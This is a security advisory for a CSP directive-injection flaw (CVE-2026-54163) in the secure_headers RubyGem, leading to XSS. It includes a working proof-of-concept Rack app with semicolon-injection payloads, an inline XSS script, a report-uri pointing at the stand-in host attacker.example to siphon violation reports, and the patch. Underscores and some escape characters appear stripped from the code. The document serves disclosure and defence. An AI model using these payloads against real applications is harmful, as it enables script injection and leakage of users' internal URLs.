PT-2026-57369 · Rubygems · Secure Headers

Publicado

2026-07-10

·

Atualizado

2026-07-10

·

CVE-2026-54163

CVSS v3.1

4.7

Média

VetorAV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

secure headers builds the Content-Security-Policy value by stitching every configured directive together with ; separators. Three directive builders (build sandbox list directive, build media type list directive, build report to directive) interpolate caller-supplied strings into that value without scrubbing ;, r, or .
When an application forwards untrusted input into SecureHeaders.override content security policy directives (or append …) for :sandbox, :plugin types, or :report to, an attacker can embed a literal ; and inject an arbitrary CSP directive into the header value. Because :sandbox and :plugin types both sort alphabetically before :script src in BODY DIRECTIVES, the injected script-src lands earlier in the header and wins under the CSP first-occurrence rule, defeating the application's real script-src. End result: an 'unsafe-inline' * policy is forced for inline <script> despite the configured strict CSP, giving full XSS reachability anywhere reflected or stored content meets one of these three sinks.
An existing ;/ scrub is already present in the source-list builder (build source list directive), but the three sibling builders here never received the same treatment and still emit caller bytes verbatim into the CSP value.

Impact

Although piping untrusted input into CSP directives is generally discouraged, applications that do so for one of the three uncovered directives turn that endpoint into an XSS sink with an effective * 'unsafe-inline' script-src, even though the global config says script src: %w('self'). The same primitive can also be used to point report-to / report-uri at attacker infrastructure to silently siphon CSP violation reports — which include the violated URL, blocked-uri, source-file, line-number and a sample-snippet, useful for fingerprinting and for harvesting victim-internal URLs.
The global default CSP set in Configuration.default is supposed to be a backstop: even if a controller appends a single risky value, the strict script-src should remain the first match. This bug breaks that property by letting the appended value redefine the policy header upstream of the legitimate script-src.

Affected

  • Package: secure headers (RubyGems)
  • Vulnerable versions: <= 7.2.0
  • Patched version: 7.3.0
Applications that set :sandbox, :plugin types, or :report to only from static configuration (no per-request or per-tenant input) are not exploitable and need only the version bump. Applications that pipe any user-controlled value into one of those three directives via the per-controller override APIs are exploitable and should both upgrade and audit those code paths.

Mitigations / Workarounds

Until upgrading to 7.3.0, sanitize any user-controlled input before passing it to:
  • SecureHeaders.override content security policy directives
  • SecureHeaders.append content security policy directives
  • SecureHeaders.use content security policy named append
for :sandbox, :plugin types, or :report to. Reject or strip ;, r, and from values destined for these directives before they reach the gem.

Vulnerable code

Three sibling builders all join an attacker-controllable value into the CSP header value with no ; / r / scrubbing.
  • [content security policy.rb#L72-L93](https://github.com/github/secure headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure headers/headers/content security policy.rb#L72-L93) — build sandbox list directive:
ruby
elsif sandbox list && sandbox list.any?
 [
  symbol to hyphen case(directive),
  sandbox list.uniq
 ].join(" ")
end
  • [content security policy.rb#L95-L103](https://github.com/github/secure headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure headers/headers/content security policy.rb#L95-L103) — build media type list directive (same pattern, for plugin-types).
  • [content security policy.rb#L105-L110](https://github.com/github/secure headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure headers/headers/content security policy.rb#L105-L110) — build report to directive:
ruby
def build report to directive(directive)
 return unless endpoint name = @config.directive value(directive)
 if endpoint name && endpoint name.is a?(String) && !endpoint name.empty?
  [symbol to hyphen case(directive), endpoint name].join(" ")
 end
end
For comparison, [content security policy.rb#L117-L129](https://github.com/github/secure headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure headers/headers/content security policy.rb#L117-L129) shows the source-list builder that already performs the scrub the three above are missing.
Validation also does not catch it:
  • [policy management.rb#L361-L371](https://github.com/github/secure headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure headers/headers/policy management.rb#L361-L371) — validate sandbox expression! only checks v.start with?("allow-"), so "allow-scripts allow-same-origin; script-src 'unsafe-inline' *" passes.
  • [policy management.rb#L376-L385](https://github.com/github/secure headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure headers/headers/policy management.rb#L376-L385) — validate media type expression! uses /A.+/.+z/; . matches ; and ', so "application/x-foo; script-src 'unsafe-inline' *" passes.
  • [policy management.rb#L410-L417](https://github.com/github/secure headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure headers/headers/policy management.rb#L410-L417) — validate report to endpoint expression! only checks String + non-empty.

Reachable

The three sinks are reached by the documented public override APIs in [lib/secure headers.rb#L61-L106](https://github.com/github/secure headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure headers.rb#L61-L106) — override content security policy directives, append content security policy directives, and use content security policy named append. These are the documented per-controller hooks Rails apps use to vary CSP per request (e.g. allowing an iframe domain that a user just configured, sandboxing a per-tenant subdocument, or wiring up a per-tenant reporting endpoint).
Concrete reachable shapes:
  1. Multi-tenant SaaS persisting a tenant-chosen iframe sandbox policy and replaying it via override content security policy directives(sandbox: [tenant.sandbox tokens]).
  2. Document / PDF viewer that allows tenants to whitelist a custom MIME via plugin types: [tenant.allowed mime].
  3. Reporting integration that lets the operator name the active reporting group through an admin UI and forwards it via report to: params[:report group].
In all three patterns, a string field that the app expects to be a single token (allow-forms, application/pdf, default) is the injection point.

Proof of concept

Pinned reproduction against a minimal Rack app on secure headers 7.2.0, rack 3.2.6, rackup 2.3.1, webrick 1.9.2. Browser verification uses headless Chromium.
Install (Bundler):
ruby
# Gemfile
source "https://rubygems.org"
gem "secure headers", "= 7.2.0"
gem "rack",      "= 3.2.6"
gem "rackup",     "= 2.3.1"
gem "webrick", "= 1.9.2"
bash
bundle install
Driver (poc e2e.rb):
ruby
require "rack"
require "webrick"
require "rackup"
require "rackup/handler/webrick"
require "secure headers"

SecureHeaders::Configuration.default do |c|
 c.csp = {default src: %w('self'), script src: %w('self'), style src: %w('self')}
end

INLINE XSS = "<script>document.body.appendChild(Object.assign(" 
       "document.createElement('div'),{id:'pwn',innerText:" 
       "'XSS-EXECUTED via '+location.pathname}));</script>"

class App
 def call(env)
  req = Rack::Request.new(env)
  case req.path info
  when "/sandbox" # Vector A
   SecureHeaders.override content security policy directives(req,
    sandbox: ["allow-scripts allow-same-origin; script-src 'unsafe-inline' *"])
  when "/plugin"  # Vector B
   SecureHeaders.override content security policy directives(req,
    plugin types: ["application/x-foo; script-src 'unsafe-inline' *"])
  when "/report"  # Vector C (report-uri exfil)
   SecureHeaders.override content security policy directives(req,
    report to: "default; report-uri https://attacker.example/leak")
  when "/control" # Negative — same payload on a source list directive
   SecureHeaders.override content security policy directives(req,
    frame src: ["'self'", "evil.example; script-src 'unsafe-inline' *"])
  end
  body = "<!doctype html>#{INLINE XSS}"
  [200, {"content-type"=>"text/html"}.merge(SecureHeaders.header hash for(req)), [body]]
 end
end

Rackup::Handler::WEBrick.run(
 Rack::Builder.new { use SecureHeaders::Middleware; run App.new },
 Host: "127.0.0.1", Port: 14567, AccessLog: [], Logger: WEBrick::Log.new(nil, 0))
Run:
bash
bundle exec ruby poc e2e.rb

End-to-end reproduction against secure headers 7.2.0

Server-side observation (curl -s -D - http://127.0.0.1:14567/<path>):
GET /sandbox -> content-security-policy:
  default-src 'self'; sandbox allow-scripts allow-same-origin;
  script-src 'unsafe-inline' *; script-src 'self'; style-src 'self'

GET /plugin  -> content-security-policy:
  default-src 'self'; plugin-types application/x-foo;
  script-src 'unsafe-inline' *; script-src 'self'; style-src 'self'

GET /report  -> content-security-policy:
  default-src 'self'; script-src 'self'; style-src 'self';
  report-to default; report-uri https://attacker.example/leak

GET /control -> content-security-policy:
  default-src 'self'; frame-src 'self' evil.example script-src
  'unsafe-inline' *; script-src 'self'; style-src 'self'
Browser verification (headless Chromium, --dump-dom, grep for the injected id="pwn" element which is only present if the inline <script> actually ran):
GET /sandbox -> pwn element PRESENT (XSS executed, injected script-src wins)
GET /plugin  -> pwn element PRESENT (XSS executed, injected script-src wins)
GET /report  -> pwn element absent  (this vector enables report-uri exfil,
                    not script execution by itself)
GET /control -> pwn element absent  (existing scrub on the source-list
                    builder rewrites ; -> space, so the
                    legitimate `script-src 'self'` is
                    still the first match)
Patched-build verification: applying the patch and re-running the same three vectors flips /sandbox and /plugin to "pwn element absent". The injected ; is replaced with a space, so the trailing script-src 'unsafe-inline' * collapses into the parent directive's value list instead of becoming a sibling directive, and the legitimate script-src 'self' stays the first script-src the parser encounters.

Patch

Shipped in 7.3.0 as a private helper that scrubs ;, r, and from every directive value, applied uniformly across the three previously-uncovered builders and the source-list builder.
Sketch of the shipped change in lib/secure headers/headers/content security policy.rb:
ruby
DIRECTIVE INJECTION REGEX = /[
r;]/.freeze

def scrub directive value(directive, value)
 str = value.to s
 if str =~ DIRECTIVE INJECTION REGEX
  Kernel.warn("#{directive} contains a #{$~[0].inspect} in #{str.inspect} which will raise an error in future versions. It has been replaced with a blank space.")
  str.gsub(DIRECTIVE INJECTION REGEX, " ")
 else
  str
 end
end
The helper is invoked from each builder against the joined directive value (not per-token), so a single Kernel.warn is emitted per directive regardless of how many offending bytes the input contains. The same helper now also wraps the existing source-list scrub.
See the merged fix PR for the full patch and tests.

Credit

Reported by @tonghuaroot.

Resources

  • CVE-2020-5217 — prior secure headers advisory for the same bug class on build source list directive (the 2020 fix that motivated the helper this advisory extends).
  • W3C CSP Level 3 — Parse a serialized CSP — defines the first-occurrence rule that makes the alphabetical-ordering exploit work.
  • RFC 7230 §3.2.4 — Field parsing — context for why bare r / in HTTP header values are unsafe regardless of directive separator semantics.

Exploit

Correção

XSS

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-54163
GHSA-RQQ5-2GF9-4W4Q

Produtos afetados

Secure Headers